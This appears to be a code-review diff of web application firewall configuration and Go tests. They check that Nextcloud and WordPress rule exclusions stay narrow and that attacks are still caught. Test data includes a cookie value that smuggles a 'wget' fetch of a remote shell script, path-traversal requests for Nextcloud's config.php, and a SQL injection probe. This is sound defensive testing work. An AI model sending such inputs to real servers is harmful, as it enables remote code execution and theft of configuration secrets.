||||||
"x|wget http://example.com/x.sh",
|
|
||||||
} {
|
|
||||||
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf("nc_username=%s let through: %+v", attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
|
|
||||||
if got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf("nc_other=python3 let through: %+v", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, method := range []string{
|
|
||||||
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
|
|
||||||
nextcloudSearch, "LOCK", "UNLOCK",
|
|
||||||
} {
|
|
||||||
for _, target := range []string{
|
|
||||||
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
|
|
||||||
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
|
|
||||||
} {
|
|
||||||
wantResult(t, crs, request{method, target, nil}, matched())
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, target := range []string{
|
|
||||||
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
|
|
||||||
} {
|
|
||||||
wantResult(t, crs, request{method, target, nil}, matched(911100))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
|
||||||
// them, which rules refused when they read them as fields.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var nextcloudUploads = []struct{ name, contentType, body string }{
|
|
||||||
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
|
|
||||||
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, upload := range nextcloudUploads {
|
|
||||||
uploaded := request{
|
|
||||||
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, uploaded, upload.body)
|
|
||||||
if got.Score >= nextcloudThreshold {
|
|
||||||
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, refused := range []request{
|
|
||||||
// Elsewhere, or with another method, the body is read.
|
|
||||||
{http.MethodPost, "/", uploaded.headers},
|
|
||||||
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
|
|
||||||
{http.MethodPost, uploaded.target, uploaded.headers},
|
|
||||||
// The query is still checked.
|
|
||||||
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
|
|
||||||
} {
|
|
||||||
got, _ := inspectBody(t, crs, refused, upload.body)
|
|
||||||
if got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
|
||||||
|
|
||||||
for _, method := range methods {
|
|
||||||
for _, target := range []string{
|
|
||||||
nextcloudFiles + "../../../config/config.php",
|
|
||||||
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
|
|
||||||
} {
|
|
||||||
got := inspect(t, crs, request{method, target, nil})
|
|
||||||
if got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s %s let through: %+v", method, target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, refused := range []string{
|
|
||||||
"/?dir=python3",
|
|
||||||
"/apps/other/?dir=python3",
|
|
||||||
"/apps/files/?other=python3",
|
|
||||||
"/login?other=python3",
|
|
||||||
"/x/login?user=python3",
|
|
||||||
nextcloudShare + "?files=powershell",
|
|
||||||
"/?file=powershell",
|
|
||||||
// Each public share path keeps the rules on the other's fields.
|
|
||||||
nextcloudPreview + "?files=powershell",
|
|
||||||
nextcloudShare + "/download?file=powershell",
|
|
||||||
"/?search=python3",
|
|
||||||
nextcloudUsers + "?other=python3",
|
|
||||||
"/x/ocs/v2.php/cloud/users?search=python3",
|
|
||||||
} {
|
|
||||||
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s let through: %+v", refused, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, sent := range []nextcloudBody{
|
|
||||||
// A JSON field of the same name in the query keeps the rules.
|
|
||||||
{
|
|
||||||
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
|
|
||||||
jsonBody, `{"message":"python3"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
|
|
||||||
jsonBody, `{"value":"python3"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost, nextcloudUsers + "?json.userid=python3",
|
|
||||||
jsonBody, `{"userid":"python3"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut, nextcloudShares + "/1?json.note=python3",
|
|
||||||
jsonBody, `{"note":"python3"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut, nextcloudStatus + "?json.message=python3",
|
|
||||||
jsonBody, `{"message":"python3"}`,
|
|
||||||
},
|
|
||||||
// Other JSON fields keep them.
|
|
||||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
|
|
||||||
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
|
|
||||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
|
|
||||||
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
|
|
||||||
// A note or a status on another OCS path keeps them.
|
|
||||||
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
|
|
||||||
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
|
|
||||||
// XML on another path, or with another method, keeps them.
|
|
||||||
{
|
|
||||||
nextcloudSearch, nextcloudFiles,
|
|
||||||
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
nextcloudPropPatch, nextcloudFiles + "notes.txt",
|
|
||||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"REPORT", "/remote.php/dav/comments/files/1/2",
|
|
||||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
|
||||||
if got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-1342
File diff suppressed because it is too large.
Load diff
@@ -96,45 +96,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
|||||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||||
|
|
||||||
# Signing in, in pwd, which skips each rule that random passwords set off.
|
# Signing in, in pwd, where a password holds any characters:
|
||||||
|
# 930120: a password ending in /etc/hosts
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||||
"id:900704,phase:1,pass,nolog,chain"
|
"id:900704,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:pwd "@eq 0" \
|
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
|
||||||
|
|
||||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||||
|
|||||||
Reference in new issue
Block a user